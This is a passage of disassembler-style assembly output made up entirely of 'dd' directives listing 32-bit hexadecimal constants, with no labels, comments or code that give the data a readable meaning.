		dd 2D7446C0h, 4D4F0E5Fh, 0D320F898h, 4324A148h,	19CE148h
		dd 0CD60A3F4h, 46DE630Ch, 0C12A0150h, 0A7F9FE82h, 1A3D0A10h
		dd 2754D780h, 4351F619h, 84A02E7Ah, 0B701BE0Ch,	3B62F39Bh
		dd 98C2DD78h, 1199AFF4h, 9F8DF2E3h, 520F759h, 7DA695F8h
		dd 0E9FCC3h, 7420AC43h,	0DAC83775h, 56972C00h, 41F8FD61h
		dd 0F00E0053h, 4CDBD7D4h, 0CF7BECAFh, 9130D97Eh, 6232289Ah
		dd 0EEA5Fh, 1185519Fh, 0C4D0B997h, 172A3500h, 0DA694119h
		dd 6FE81820h, 34582638h, 804DE700h, 551E0F9Ch, 1BA40656h
		dd 589276DCh, 1300AEF0h, 31747199h, 6D64746h, 0B14BA32Bh
		dd 8703209Bh, 0F7ED94C0h, 5E8100D2h, 3FE0C760h,	3000EEA0h
		dd 0A986DF1Eh, 357134h,	0CBDC1F0Bh, 90AFF91Dh, 781BC533h
		dd 0F270E70Eh, 72ABE2Ch, 0FCDFC6EFh, 3966C016h,	0B1016157h
		dd 22755A58h, 9050FA2Fh, 3EAB6A4Bh, 0D2005985h,	522A87EBh
		dd 0F80A8FAFh, 84E0B17Fh, 0CBB65600h, 357EBE9h,	0F15CD258h
		dd 39A1D096h, 8920802Dh, 8DCE466h, 0E277BCh, 0ED58C544h
		dd 254E0415h, 0A805F100h, 1BBBD34Ah, 95992965h,	981A0E90h
		dd 10292105h, 6E84908Ch, 0A04E0E9Ch, 70EC4C85h,	6FF0052h
		dd 415DDCEAh, 33BC13F1h, 0E640C31Ch, 0EBFCC9CCh, 2BF00044h
		dd 519059F8h, 761E52DDh, 0C900BA71h, 7F4E03DCh,	0F8726EAh
		dd 161D0011h, 39F85744h, 3FF96703h, 9DAB31h, 0B48EF1F9h
		dd 1BA84691h, 837A0B03h, 3B848AA5h, 0AEBE7620h,	0B21AC200h
		dd 9582E0FBh, 0D3ACFA4Bh, 54159707h, 81A38052h,	0E809DD75h
		dd 8076738Bh, 14726E4Fh, 0A47E486h, 0A45E7A10h,	8CDE942Ch
		dd 451C234h, 755622Ch, 0EB509F16h, 1B9A01Fh, 0FF7C9866h
		dd 22FCD231h, 1C32127Ch, 2E480C40h, 12524140h, 0EBEEA94h
		dd 0A5C26C80h, 0FCA35BABh, 44E4E02Bh, 430C068h,	5310CDE7h
		dd 9BCDD033h, 0EA87DC21h, 2C893203h, 0CF4791DAh, 0EBC92F80h
		dd 0FCCA0154h, 0A85B5A43h, 3DE85171h, 0E901E3B5h, 0DF219AF7h
		dd 94DC4F69h, 0E001607Dh, 0C196F656h, 2044CA24h, 803C591Eh
		dd 0D95B9FB0h, 982B720h, 0A71D8D7Ch, 44570075h,	1E8439h
		dd 0E79BA108h, 5B069207h, 803280A0h, 0CBF6361Fh, 1E2EA01Fh
		dd 8FB89C00h, 68E9B9h, 0C77AAFFEh, 0D8CEFB88h, 0D98C1305h
		dd 88484B0Fh, 0E5B1C06Dh, 7B467939h, 492D4710h,	422002E8h
		dd 9385FBA8h, 4DEF8294h, 0B09360A8h, 0BD029DECh, 0CF1A6F4Ch
		dd 0E9290314h, 78415DE2h, 7A1460D7h, 20ACF124h,	0B9521D60h
		dd 42F9F2C7h, 6C22F8h, 40526F43h, 3CE87B0Fh, 4AF48h, 0C427EA1Bh
		dd 9AF321ACh, 129E28Ch,	0D54F2E8Eh, 22BB5D89h, 44868DCh
		dd 409F9CFDh, 0B40260E5h, 297FC8AFh, 19C1D3Dh, 0E38AC348h
		dd 8840A13Dh, 0DDB5D51Eh, 0A80E00B8h, 192D2855h, 0B4B81D1Fh
		dd 948EE423h, 7D4C7C34h, 99ED9312h, 720A6000h, 1BF430h
		dd 0BD21294Ah, 12D34F10h, 0CF43FAF9h, 8A7D1921h, 1018F9CCh
		dd 0F5ACC1A9h, 0F1014E8Eh, 9922D618h, 596212F3h, 0D8A31802h
		dd 98793087h, 1D52C941h, 41964D11h, 421A2B24h, 8C188118h
		dd 1D0CA019h, 9018A11Bh, 0FD50C51h, 0A65D1842h,	8D300978h
		dd 28E28824h, 3C436D45h, 68334807h, 40C4AF1h, 44325540h
		dd 4B210C75h, 91184261h, 0E4C048A2h, 1C259C90h,	0F6D12184h
		dd 0C4191918h, 0E5F208C0h, 0FA044DCFh, 36434F0Ah, 493703C7h
		dd 0EBA061DEh
		dd 597F6B2Ch, 9707DCA3h, 0D088047Ch, 6AD7CFA6h,	7FC49D00h
		dd 0D505C183h, 0A9410EA8h, 0A1874860h, 7557D382h, 88B3F59Fh
		dd 0CC0C8F38h, 0D06995E8h, 0E088220Ch, 0DDC88D07h, 46C031F6h
		dd 0E88C5E04h, 58540062h, 0E8225DAFh, 80E75748h, 95D54D31h
		dd 9236C685h, 970A0060h, 41A9399Dh, 4F00B73Eh, 13D7C008h
		dd 3E99575Dh, 404C0FA4h, 0E214333Fh, 73AC1C2Ah,	11D881Ch
		dd 1060A409h, 0B81EA274h, 957D005Eh, 29BEB098h,	4102A7A9h
		dd 0E4734835h, 0D4B1E16Eh, 55CC8C40h, 0A42354AAh, 3D4A7C40h
		dd 0A6004832h, 0D7C71F17h, 0A7622BB6h, 60D57B10h, 5CD81AC1h
		dd 303CF992h, 0D0E7E60Ah, 365C0014h, 9C600B19h,	346C6E00h
		dd 0CB502420h, 5809601Eh, 480F8977h, 0C50599E2h, 0FD312ED2h
		dd 2087CC0h, 0E5BC0010h, 0B3F725CCh, 357DECDEh,	80BDFF3Ch
		dd 86042F4Ah, 61C7E7h, 102D2A21h, 71788E32h, 0D81C19FCh
		dd 8680BE56h, 2207C19Dh, 0F0C900F4h, 0A5E62EC7h, 8F009869h
		dd 3B8DA0A1h, 0C0AD1836h, 0B3DCC518h, 0D000FFC0h, 0FC12C1B0h
		dd 36E3AACh, 528BE329h,	0DF9136h, 4C65245Ch, 0DE871401h
		dd 600DB673h, 1EA40420h, 1CFF95E5h, 94813C68h, 0F1501264h
		dd 4E0EA7Eh, 18010F2Ah,	790E4375h, 0F389D8h, 0BC6CF5B8h
		dd 0E2FE424Bh, 3A5C320Eh, 500D9FC4h, 0E8CC18ACh, 931600CEh
		dd 0EE25A1B8h, 6A7B9021h, 49218F67h, 711679C1h,	0E2C52F0h
		dd 50ABC446h, 0E3D0C9Fh, 85306A18h, 0BE3C30AFh,	367FCF5h
		dd 0E70F11D8h, 28C6E077h, 39005A73h, 0B6760397h, 0DC415609h
		dd 0DF2C0018h, 14301F40h, 548D50C0h, 76E7C924h,	1593F6Dh
		dd 0A484F080h, 0B00A8A61h, 0BCB17306h, 48181E5Bh, 78283564h
		dd 59410080h, 907B308Bh, 620D1928h, 0A1B8F3FEh,	0ECFF47D8h
		dd 0C74D0273h, 7F0FD27Dh, 2D44A880h, 4F00D343h,	6A83381Bh
		dd 3F80F52Ah, 0FE0174E0h, 9A5D1F41h, 2C804049h,	2B00483Fh
		dd 428F7310h, 7B7FCB0Eh, 0F9BF052h, 0F25451F1h,	751C8460h
		dd 0A5512644h, 2DA0FB50h, 0E1ECAF7Bh, 0A2E97160h, 0ABBE34h
		dd 9142866Ch, 0EF983CFh, 4771CC00h, 971477E4h, 2AE8EE13h
		dd 3C83089h, 0FDA1B22Dh, 0E866AF38h, 2E8F9BAh, 0B953354Eh
		dd 30B1CC3Ah, 84D49479h, 9A2FC430h, 13531C87h, 42600219h
		dd 0DFC454D3h, 0F1844840h, 0A481F200h, 1398D647h, 5D17049Fh
		dd 826BA075h, 14488A20h, 0ED0F843Ch, 0E474DEB5h, 45C00A83h
		dd 0B6EA6Ah, 0E847722Dh, 0B243CD68h, 81F8D00h, 67D7D4FDh
		dd 77FC280Fh, 306E7D94h, 0FB5140A4h, 2BF8DCC4h,	5266E900h
		dd 6ABA5F49h, 10EF00D6h, 9219D904h, 0CC00AF99h,	0B332FB11h
		dd 15F793Fh, 703523ACh,	30A5DC6Ah, 463CCC58h, 80B98118h
		dd 9A79D97Ch, 7395C8h, 76ED6C0Ah, 29071123h, 376258h, 34331DC5h
		dd 30262Ah, 0D6765A95h,	0D9039DBBh, 0A0314600h,	286AA802h
		dd 0BB48A0D3h, 5D010617h, 806C96DAh, 76070C03h,	0D0B3C2E2h
		dd 7DEB461Eh, 27EA7Fh, 37CFAC9Ch, 0F29E8F12h, 0CDD7A41Eh
		dd 593E0EB8h, 2E007CA2h, 7A76B948h, 0CAD51D67h,	0EADAC8Ch
		dd 81C57B1Ah, 0EF990E17h, 6401C36h, 38338006h, 111FB100h
		dd 43FD2671h, 90027D2Fh, 68601F0h, 0A9B21915h, 921080A0h
		dd 13EE9CB6h, 59E0F9C8h, 0E476180Fh, 6082483Bh,	21553230h
		dd 0CF0531h, 0FE22AD71h, 9C8D75F2h, 28DA0C07h, 309CA64Bh
		dd 185444FAh, 0F1CBB200h, 234E8678h, 0F8E519EAh, 0F9745803h
		dd 24C01758h, 639FC6Eh,	4A8099B4h, 9600D082h, 0F55404AAh
		dd 1E12B7B8h, 70DB3360h, 75A48540h, 51940237h, 0C3780C83h
		dd 8238567h, 0ED308C04h, 9E78C45Dh, 3DD20603h, 0A1D6A189h
		dd 2DC0DF41h, 0A2A0A8B8h, 6DC400F3h, 8DBA3980h,	98003121h
		dd 0B512B29h, 146CA449h, 978EBB5Dh, 9DA97E0Dh, 0A0041779h
		dd 9553E2Ah, 0E4740CA1h, 150573Fh, 23008CA0h, 16ECBBF0h
		dd 0F458C638h, 1581C0A9h, 68CCE743h, 730A6C70h,	0E8391206h
		dd 627E8380h, 0C68933h,	9C773149h, 0D52F484Dh, 41393B02h
		dd 469DAE7Ch, 635A2020h, 4CDDC880h, 0D20A0492h,	901B7551h
		dd 0E723F080h, 28E8A79h, 11B3E2F2h, 0D08093A1h,	544A7A1Ah
		dd 5FC87B60h, 6798E41h,	0D9B5EB90h, 0B400504Bh,	3E8F4803h
		dd 0F0BE01ADh, 0B5320043h, 0FDF794A4h, 0F800CCC7h, 0C0E4678Ch
		dd 2189193h, 2E719DEBh,	0A60B438h, 893A81D4h, 6A8C000Ah
		dd 0F5554130h, 0C7CE668h, 9215409Ch, 18C0DD30h,	0C7F3CC1Ah
		dd 4030DA07h, 0A34E0411h, 46FB0C28h, 0BF813008h, 0F4D8AE11h
		dd 447D64D9h, 37783000h, 2ADF37Fh, 1C0CA041h, 0E1118479h
		dd 1821D66Dh, 0F1AE8984h, 5C628048h, 6C188267h,	23651076h
		dd 14808873h, 0F954847Ah, 1986100Ch, 49D4585Ah,	73051F8h
		dd 0A1FE09BBh, 0D3E9400Ch, 3CA26012h, 0C81F475h, 102B41CCh
		dd 89D70FB6h, 0E1AF13C8h, 0D440B349h, 3A77A1DDh, 0CE8AAA9Dh
		dd 80A8B8CFh, 597D8B52h, 31482D23h, 2EB10A2Bh, 0BF0EB8D0h
		dd 6C344079h, 3E35B8BDh, 1130E55Dh, 0F18AD938h,	64ED7A17h
		dd 720EBD1Fh, 419D0089h, 662EADh, 0EFF3174Eh, 7FA59B0h
		dd 4B0E497Bh, 0A1C408C7h, 58DFB1D8h, 600770BDh,	80911190h
		dd 0F8504E48h, 0F6042600h, 3E5445AFh, 0D4CA472h, 0AB134306h
		dd 3334C8D8h, 60303601h, 90625929h, 14C69040h, 35FE7538h
		dd 4052DB03h, 0CFA78260h, 7B008E3Ah, 0D5448D61h, 90D2EBh
		dd 0EE952508h, 0B16EA865h, 101C0256h, 47F03B0Dh, 0BB02FD42h
		dd 0BE06C37Ah, 0A88F6303h, 52104BF7h, 99A2C002h, 0F1095920h
		dd 0C3320381h, 0C6F70B40h, 0D8FE2905h, 2687F9B8h, 6BC459F0h
		dd 0E5D3001Bh, 921E49E6h, 3F0A4762h, 5CDA6604h,	0A1C1CC40h
		dd 408C0064h, 1E422C32h, 0C5016911h, 5409F3D8h,	0CCE5972Eh
		dd 1C72EEE4h, 805F0AF2h, 0C0BAF40Bh, 0C09170BFh, 0BD344E03h
		dd 7F2EF83Ah, 607A7F81h, 3B73489Ch, 29D2CFCDh, 709DDD00h
		dd 7AECAAE7h, 6BD0E81h,	5185D31Ch, 77582E4Ah, 0CFB23946h
		dd 0F5165C41h, 0E6B5CC18h, 992F7407h, 0ADF0E522h, 22432h
		dd 0D00E419Eh, 18FA5B75h, 6D0099F2h, 343E5E50h,	0F098F378h
		dd 3A0D1DD0h, 0E792C71h, 0CE615A46h, 80F00690h,	0CDA75020h
		dd 74A38F79h, 0EB5503ECh, 86ED87Ah, 54C50CC0h, 1DB87003h
		dd 98C058D0h, 0B921F0h,	18E12B8Ch, 9106E56Ah, 0CF35890Ch
		dd 0C13F28CEh, 0B9BE4D71h, 16D2F04Bh, 69444500h, 34E51288h
		dd 0EDB0C0D4h, 4BCF30B7h, 0C001E031h, 0B980C7C5h, 209285B3h
		dd 3830D1F0h, 0E70630F6h, 1BA10F01h, 0DA6034B7h, 4D69A4ABh
		dd 3F0235E2h, 56AD557Ah, 9C286052h, 0EE4E1EC2h,	0E2037904h
		dd 7D039760h, 94B73028h, 199A9C0h, 818B0h, 8F70DA85h, 46EB88C9h
		dd 7CE4B474h, 0E9D46E00h, 3F0EEAB5h, 0A6B800BAh, 0ACC6471h
		dd 92972F5h, 2A5444EFh,	3CCAAD5h, 42757CFFh, 0DFF00DA8h
		dd 6B7EE6F4h, 3F903C00h, 9F12C644h, 2D6600D8h, 5DDAAF4Ch
		dd 2009258h, 0D2EA52CCh, 973024h, 1D4EE307h, 1A96E6D7h
		dd 92F18F00h, 8880216Dh, 0BCEE0084h, 104DB85Fh,	8040F13h
		dd 0A1A9C61h, 3B2C2890h, 0CDB71C5Ch, 86D140B6h,	0EFA14C12h
		dd 81844252h, 0D97FE176h, 0A34D2020h, 0A912F9A0h, 0C0B80FD8h
		dd 3AB6C7F8h, 0CE0E8CFAh, 20AE6CE1h, 1ED13F0Ch,	0BAD0003Eh
		dd 59E70E85h, 492B7B6h,	22AE5600h, 1484BCE0h, 0AC7D3EABh
		dd 42272001h, 48BE18B4h, 7B3E17D0h, 0ACA90232h,	471579FDh
		dd 794CC064h, 9C7CBEBDh, 232A7B00h, 51779DB2h, 750500BFh
		dd 59F4F3D7h, 0FC4C6564h, 2671E05h, 80E98789h, 9AB0F10Dh
		dd 0CC5E0392h, 0A16B94E3h, 9C0409F0h, 8FFAF939h, 0F2A4B1h
		dd 6291FCA9h, 36C7DEEh,	43807745h, 44989331h, 90F69BD4h
		dd 81B0B530h, 15A3EBh, 521B0FE0h, 0CBF0E72h, 0EEB1E300h
		dd 1F23AE73h, 0B2AB008Fh, 3F78A193h, 4E764043h,	4D70C903h
		dd 0C8B8C4E9h, 42699E5h, 59AEFAD3h, 6162C717h, 0FC3B6563h
		dd 0C433EEB0h, 0D099703Dh, 0BE34F4h, 0D2CC69DEh, 7696C0A0h
		dd 0BDCA3D1Dh, 0B4249F42h, 5809C05h, 6B3D6A32h,	18442E42h
		dd 0B1794B9Dh, 0E71AE0C5h, 0B1868142h, 904CA2C4h, 49AB03D7h
		dd 5517CF11h, 41AD2019h, 7E080F10h, 3C6C0E78h, 38B71058h
		dd 4BB0C5BCh, 1D0DE621h, 3CEDF222h, 0D30FF8CEh,	34039CF6h
		dd 7800C566h, 483C10AEh, 3C0BD74h, 0CC45B487h, 2FF8ECF1h
		dd 980081C3h, 3C6A4873h, 90CB232Bh, 0C2D0C373h,	401C07FCh
		dd 80C1D250h, 1AB4A949h, 4D9B9C40h, 20BF89CCh, 3D319C0Ch
		dd 0D048B046h, 7FDEEE8h, 81D27763h, 8976B0E8h, 75351188h
		dd 488Ah, 18C4E3D7h, 86E9C33Dh,	4003F97Fh, 622F7513h, 0DCA00174h
		dd 0CF1AD2CBh, 9AE4539Ch, 0F73991D8h, 3851F0C2h, 0ABB8836Ch
		dd 9543C16Ah, 5059C0h, 11E474EBh, 5B9D3F58h, 80B0283Dh
		dd 0EF33A051h, 337DC463h, 0C9814A14h, 4373F8F9h, 2E9A3880h
		dd 0A3C2188Fh, 77606B0Eh, 201F6697h, 0A50048CEh, 0AB785A02h
		dd 67C0C0EEh, 0B0623028h, 0BF49970Ch, 39451166h, 350EFE99h
		dd 70ACC93Ch, 6B052648h, 0B011775Ch, 94D62030h,	2415294Eh
		dd 0ADC60A18h, 96586C14h, 233123h, 505D1AE6h, 606502D1h
		dd 3071AD08h, 30C62F8Eh, 0E70DAF86h, 804F151h, 70844C1Dh
		dd 6022C41Eh, 2CE8B4A6h, 2141D151h, 0BBBEC138h,	2651231h
		dd 30B9AE46h, 14D0A176h, 5A3D6600h, 0A07B150h, 8A9151E6h
		dd 0A8FED89Ch, 60534A6h, 0B151E35Dh, 84CF682Ch,	532631C4h
		dd 71AF3105h, 1CA6DE30h, 0A05668C6h, 6E5CE118h,	506FE5C4h
		dd 6A0ED4CCh, 65405800h, 1A4E0D71h, 0CDEA003Ah,	0B8F59653h
		dd 0E70080EBh, 0D0641FCh, 0F5ADC22h, 5B38A9F8h,	406DD4E7h
		dd 68966C78h, 625285E8h, 0E5AA0224h, 30B915AFh,	0D600D32Dh
		dd 39DC585Ah, 74C5185Bh, 23F80FE0h, 48146A0Bh, 436C7EA1h
		dd 99B4124h, 0B8069FDAh, 0C8782091h, 0DF66DBECh, 68A9C308h
		dd 5850E842h, 2CA6300Fh, 74BAED2Dh, 443815D0h, 204D86C4h
		dd 0E0B52Fh, 0B808A54Ch, 0B7DC46D9h, 0D66B191Dh, 10B4590Ch
		dd 0D7562099h, 28DD9133h, 0B9080C66h, 4320D317h, 2D100A63h
		dd 3239E0FBh, 0CEB23B2Ah, 0D3579680h, 0CA83AA20h, 6EA8A21Ch
		dd 60EC79B0h, 7C28006h,	2333F9E8h, 1BCF40FDh, 68697980h
		dd 887C2EE3h, 996090E9h, 0C8847BA1h, 38CA38Eh, 0B7D2DE8Ch
		dd 0E00C72D9h, 50FAC7B9h, 868DF0Ch, 3015D33Ah, 0C7ABC458h
		dd 0D89D2C70h, 27B84A1h, 23449439h, 0CC805823h,	0F7EECB78h
		dd 0D5B91F38h, 8A382B30h, 601C2E03h, 885A556Ch,	1831F929h
		dd 0E5C33487h, 0CA00081Ah, 7CD1D714h, 22ACA2B3h, 982EB9DCh
		dd 1846091Ch, 2875FCCBh, 2715AB8Ch, 8030F7EFh, 0CD02066Bh
		dd 2C28C072h, 0D7F01874h, 0EF2BB276h, 47012CB7h, 761CA035h
		dd 8D75CC01h, 869F730h,	0ECA6181Ch, 89C760F1h, 0EBAF0B6Ch
		dd 82231723h, 0A3C6B9FDh, 27790C20h, 0BC3752EEh, 0B5D14081h
		dd 0AC2988BDh, 873C2381h, 2463E86Dh, 737C9336h,	2C97280Eh
		dd 84D78A29h, 10E5F550h, 1E7F9771h, 0EF038CECh,	0A0E12F17h
		dd 0F02E04D7h, 8BB6877h, 1CB7E060h, 73407FBAh, 7D34738Ch
		dd 83F62EFh, 0A8A28BD7h, 75629B9Ah, 67044494h, 3138A2D8h
		dd 0FD0D4093h, 8129438h, 803ECB4Ah, 0FC0ACC0Fh,	7FF5D80h
		dd 409D0Eh, 1953D14Dh, 0E35876BAh, 43E62100h, 0F1FFD690h
		dd 3098E9A8h, 79BD08A9h, 3D29C878h, 848E1C4Ch, 4EC04096h
		dd 6391FFD8h, 0E3FD2873h, 58186847h, 0EF317555h, 0DB313049h
		dd 4D501D01h, 9706014h,	0BF59686Fh, 908310E9h, 18CC74A4h
		dd 70807149h, 0D5653B1Dh, 18304FB8h, 44FAEDDAh,	9940114Bh
		dd 7714AC7Dh, 6B5C10D6h, 9EB11057h, 75025047h, 4B6966EEh
		dd 4F45101h, 4806284Ah,	29E6469Bh, 0E265F103h, 72B73D0Dh
		dd 0FD10C359h, 43C78974h, 84C4A3Bh, 813C42F3h, 818772CAh
		dd 6191A18Ch, 0CE40BD40h, 3880615Dh, 0E052A67Dh, 4A5366DDh
		dd 83A287F8h, 0A64874E2h, 5690B0C4h, 6A0260BDh,	52C537D9h
		dd 0B1AAA50Fh, 50ECB00Ah, 12E6C658h, 2C2D71Bh, 2F47124h
		dd 0DC5F0440h, 891B5ECh, 91720F40h, 0D5AC28D6h,	138D06CCh
		dd 8983EA8h, 74179E1Eh,	4581BE03h, 7D6BA0D2h, 2BDE17A7h
		dd 0F610006Fh, 1E3ED757h, 0D4F3AF07h, 7120A5F4h, 4AC42Fh
		dd 0D749FE87h, 15DEFDCFh, 8021123Dh, 82D894DDh,	748A74EAh
		dd 17541E81h, 5BF40792h, 8694C1CFh, 90208F84h, 39D4809Ah
		dd 2634EE49h, 0FA762F0h, 0F40366EFh, 1030541Dh,	0E2940837h
		dd 2310CD55h, 80EBE120h, 0DB04BD08h, 7431FE13h,	9E5E0FDCh
		dd 240702CDh, 927E406Eh, 0C6F80823h, 0CBA23Ah, 7B0919B5h
		dd 0DE38EBh, 13CF6B8Fh,	9A52B686h, 6804B0F8h, 0BE173E02h
		dd 5E9C0Fh, 0FEF75D9Eh,	0B3A7CFDh, 0C74303FFh, 2503DF9h
		dd 0D786BE80h, 30B01E02h, 0EA106A2Ch, 5B0194C9h, 0BE025D0Ch
		dd 0DE0880D5h, 0FDFAE2D0h, 0FEDF083Ah, 838FC77Dh, 0A69D03F2h
		dd 0C03DE1F4h, 0FC3EE086h, 4C1DD8CFh, 0CE10CB4Fh, 16018578h
		dd 64314B49h, 8CEEBB01h, 8D09E70h, 8FDF061Eh, 0C032BDFAh
		dd 0D0093E37h, 0A2C070E3h, 0E728B17Dh, 881280F4h, 49CABE9Bh
		dd 0DE0C942Ah, 667E08A5h, 2115D953h, 6E5E0A40h,	7818296Ah
		dd 9074F97Dh, 2C463D0Fh, 84050AFBh, 200E373Ch, 1F2BA4C3h
		dd 0A911218h, 0CE475DDh, 7E08CB3Eh, 0C242F3Ch, 786694BEh
		dd 6E21C81Fh, 573FE08h,	0AF3335Eh, 6ACA5A4h, 907A1ADDh
		dd 7E084D61h, 989467ABh, 6F7CFCF6h, 999F388Fh, 98602069h
		dd 1E107749h, 1830DD3Dh, 0A7FE409Dh, 80BE70C6h,	28BCFF09h
		dd 9EF05C31h, 0D9098913h, 0C828047Ch, 108FFE06h, 7E805BFCh
		dd 3E08C640h, 0DE301823h, 0FE9E0872h, 0D0B8CCEDh, 0F9033D08h
		dd 62BDFF0Eh, 2E1020F8h, 189ADD24h, 1E48E3BDh, 31787257h
		dd 380861BAh, 994880F4h, 0F27DFF05h, 61BDF0EFh,	15FD1843h
		dd 0AEE1E3F9h, 95208E0Ah, 0E80C9F0Ch, 0C09B600Bh, 0F99E3911h
		dd 0C848B0BDh, 0C433B14h, 8981E13h, 20F462BEh, 2840869Dh
		dd 42668AFDh, 10406098h, 19C0A8BDh, 0BC20BFA1h,	6BDB098Ch
		dd 0DC9003F0h, 8C6FE31h, 31A90EDEh, 0D2864348h,	1651EB9h
		dd 682401FBh, 202C902Ah, 3D444AFDh, 0F134417Dh,	83BD01A3h
		dd 89D1889h, 92E31824h,	49C020h, 0E12C2111h, 0FE088AB7h
		dd 0E298F012h, 90351E20h, 0A25D202Ch, 0C0A09D75h, 10C3F17Dh
		dd 197A4E1Dh, 0D868D340h, 1E0886EDh, 491867B8h,	0B9331471h
		dd 10122051h, 484C3CDEh, 92BE409Ch, 24F4A330h, 924CB909h
		dd 95AC4C1Ah, 24920609h, 0FF7C3620h, 19198607h,	29477901h
		dd 25B80B77h, 0E8D914D0h, 0BD713C57h, 0AA93B70Fh, 895C3780h
		dd 0B931D729h, 0BFC7082Ch, 0BEEB188Ch, 10C3CF28h, 0E0C38517h
		dd 0C6C25B97h
		dd 10D57F50h, 58D6F633h, 9C06A456h, 3C0010D7h, 66172069h
		dd 1E973AA5h, 293631h, 542FE4B4h, 50703EBh, 0E144B069h
		dd 0C11D6531h, 908CBFFDh, 37B03C17h, 40A6F432h,	641C98B5h
		dd 0FC853A02h, 2D401440h, 941E06F7h, 7930B720h,	0D898B137h
		dd 376A209Ah, 67A36006h, 0DEF42040h, 6E04348Eh,	63B7C49Fh
		dd 0E35101Fh, 8628B477h, 0E8108537h, 215B0C34h,	1708FC57h
		dd 10ADF533h, 9D0CA468h, 0F6638B09h, 0E05C1118h, 0C331B4B7h
		dd 2EEEFEF0h, 0D0EF2AE1h, 18DEBF97h, 17101A10h,	32D70C7Dh
		dd 0A00E7034h, 0A0A477D0h, 509FB7E4h, 631FC8C1h, 33F02045h
		dd 32A6401Eh, 10E9B70Dh, 48BE1AF1h, 67E80120h, 421010DFh
		dd 40E3F71Bh, 381AC3A3h, 0D8086D7h, 46D190FCh, 472A28BCh
		dd 9126784h, 0CFC89CD8h, 0E384667h, 10BE298Dh, 0B7287620h
		dd 0D082EC37h, 81BF18A4h, 9252F728h, 50031D19h,	24AB9017h
		dd 9B54C918h, 0A4E310C1h, 0C970810h, 19F1D718h,	0CF83AAEBh
		dd 48BD1B48h, 87B62C3h,	77183164h, 85F77C91h, 65979886h
		dd 2831082Ch, 0D5B80BFh, 0D57D708Ch, 0D764FB28h, 48961340h
		dd 3E28DC0Ch, 0BC66C040h, 0F089514h, 3A88A197h,	0F708A5C8h
		dd 0E8170984h, 11F18C26h, 9708E562h, 37704006h,	38A764FBh
		dd 779C8163h, 0CC099B65h, 0A0DC318h, 0A28AF708h, 38613AA8h
		dd 4330C9D7h, 928AFD8h,	7714D457h, 30C4A423h, 4AB70807h
		dd 37F2386Dh, 337C1B3Ah, 7A10B0DDh, 34F7180Ch, 7C1F081Ah
		dd 8477486Bh, 0D32281A0h, 56655B20h, 0E7021034h, 640DF75Ah
		dd 40169402h, 80C05790h, 0A74826D7h, 0D4F7E0E4h, 4B202046h
		dd 0ACCD7424h, 18C0F094h, 77E89A17h, 0E496824Ch, 67B0DD7Ah
		dd 0D4404A62h, 0C5170204h, 1D0998A5h, 3C71288h,	0E85E3764h
		dd 7044F846h, 61F07D08h, 6DB40C48h, 0C1C59149h,	0F009D183h
		dd 2058085Ah, 0A32BBBE0h, 14C9C468h, 94F7096Bh,	2691F878h
		dd 443C41CEh, 9BF492B2h, 4F77C440h, 2526F892h, 0C8AAA4C0h
		dd 97102C63h, 8B0CACF8h, 6FB1708h, 0AEC0A998h, 404A9024h
		dd 0BE6220AAh, 41BB05B0h, 58249B5Ch, 37CE7E53h,	8308B157h
		dd 10138BA6h, 0A00C9250h, 4977085Dh, 2F3034EFh,	8A8E9720h
		dd 4E44BF9h, 1327EB6h, 0E8C125Fh, 0B119F798h, 0EF1C64EBh
		dd 0F8B708C4h, 23D89097h, 0C14C8E28h, 56477A4h,	6893C534h
		dd 0C09042CFh, 0DCFEE6C0h, 94806289h, 29F0901Ch, 8114B3B7h
		dd 754AC09Eh, 0C774004Fh, 0B9A8CDD6h, 105BD1F0h, 91F280A1h
		dd 11486038h, 4F44A794h, 2450B258h, 712C492Ch, 31D0ECC5h
		dd 0A0887F44h, 58A73788h, 5DE03839h, 5B62A9A0h,	859E1461h
		dd 146357E8h, 0D128A056h, 0BBF48061h, 20F8F8A9h, 8C6A177Ch
		dd 0DC20F008h, 8DE02F8h, 3014C312h, 0BAB4B0F0h,	79846FE0h
		dd 302F2389h, 77A004D3h, 0C92480D2h, 0A9F64EACh, 8C44743Fh
		dd 8532909h, 84E78356h,	209D0D52h, 0C7558AFCh, 0C547F610h
		dd 10218669h, 6328A320h, 4290876h, 49E92018h, 0C62DC908h
		dd 8300928h, 0F9342920h, 981919FBh, 8359404Dh, 0F9F18910h
		dd 180C314h, 18CCE908h,	1E5C912h, 4313AD89h, 8FA92010h
		dd 10EE093Bh, 6309BD8Ch, 8F519CCh, 3FD3CE9h, 687CE666h
		dd 69081D61h, 108C4B2Ch, 0A0D04A21h, 0BCC918C6h, 41223329h
		dd 20185DA8h, 69306849h, 7CC1C803h, 0C9080E98h,	3939CC24h
		dd 0D0404908h, 4D432009h, 40E99440h, 8464A94Fh,	0A54C5A29h
		dd 9C0BF49h, 49123F5Fh,	203E7423h, 0E938CFA9h, 24D0636Bh
		dd 50107905h, 501E8CF1h, 7CAD98EFh, 436910FBh, 806028ECh
		dd 829E931h, 1190EFC9h,	2DA924F1h, 28A16833h, 31A43B19h
		dd 89701B29h, 69B0EBBAh, 0A9F4C883h, 0CB098763h, 41C9E0E7h
		dd 0FC10C2E4h, 0A08014FDh, 92EE1935h, 0D73977E2h, 0B92A00A0h
		dd 0CE336C69h, 174F2B0Fh, 0A89D8114h, 174ECBDh,	0A9017C2Eh
		dd 3E541CBFh, 0E447507h, 32C1ED43h, 11259E0Bh, 2900EC6Eh
		dd 18A54EE2h, 0F6708B01h, 4E00D93Eh, 0F0A0402Dh, 0ECA07F22h
		dd 689252C8h, 0F0E29088h, 8BEB281h, 0AD11B032h,	8F99C902h
		dd 0F78686ACh, 98C55130h, 186A35E0h, 80B892Ch, 664CA369h
		dd 48BA293Eh, 0F122EF82h, 3CAE231Dh, 9CE98829h,	85984540h
		dd 8E29C60Fh, 8910B8EAh, 5B184BF8h, 28013853h, 0F448F492h
		dd 0E4F128A0h, 0F539491Dh, 8E4A032h, 0D1A5C030h, 0A4ABFA9Bh
		dd 60130BE3h, 0C064A49h, 6F5805C9h, 5B8CF9E9h, 7848A908h
		dd 0CC891428h, 7BC91084h, 1C7A6904h, 6008B2Ch, 31471581h
		dd 90CE31C9h, 41B2C9B8h, 8CFF49B8h, 9D829B0h, 72098032h
		dd 0BE58F665h, 5E52830h, 6F2520FBh, 26692E20h, 94507489h
		dd 0A842C8D1h, 2CA83AC0h, 0E8070F2h, 40909ABFh,	8872E946h
		dd 783438DFh, 1908DC2Ch, 413E937Ah, 3D4C586Eh, 0EA584700h
		dd 9D986C73h, 0BC9C3C6Eh, 0B9496D8Fh, 0B28DEDA0h, 0EA00C33Dh
